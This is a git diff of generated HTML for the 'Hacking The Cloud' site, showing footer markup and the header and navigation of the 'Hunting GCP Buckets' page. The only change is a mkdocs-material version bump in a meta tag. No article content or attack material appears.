448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/gcp/general-knowledge/gcp-buckets/index.html b/gcp/general-knowledge/gcp-buckets/index.html
index f65d10877..32502593b 100644
--- a/gcp/general-knowledge/gcp-buckets/index.html
+++ b/gcp/general-knowledge/gcp-buckets/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to find valid and invalid GCP Buckets using tools"><link href=https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ rel=canonical><link href=../default-account-names/ rel=prev><link href=../metadata_in_google_cloud_instances/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Hunting GCP Buckets - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Hunting GCP Buckets - Hacking The Cloud"><meta property=og:description content="How to find valid and invalid GCP Buckets using tools"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Hunting GCP Buckets - Hacking The Cloud"><meta property=twitter:description content="How to find valid and invalid GCP Buckets using tools"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to find valid and invalid GCP Buckets using tools"><link href=https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ rel=canonical><link href=../default-account-names/ rel=prev><link href=../metadata_in_google_cloud_instances/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Hunting GCP Buckets - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Hunting GCP Buckets - Hacking The Cloud"><meta property=og:description content="How to find valid and invalid GCP Buckets using tools"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Hunting GCP Buckets - Hacking The Cloud"><meta property=twitter:description content="How to find valid and invalid GCP Buckets using tools"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#hunting-gcp-buckets class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Hunting GCP Buckets </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> 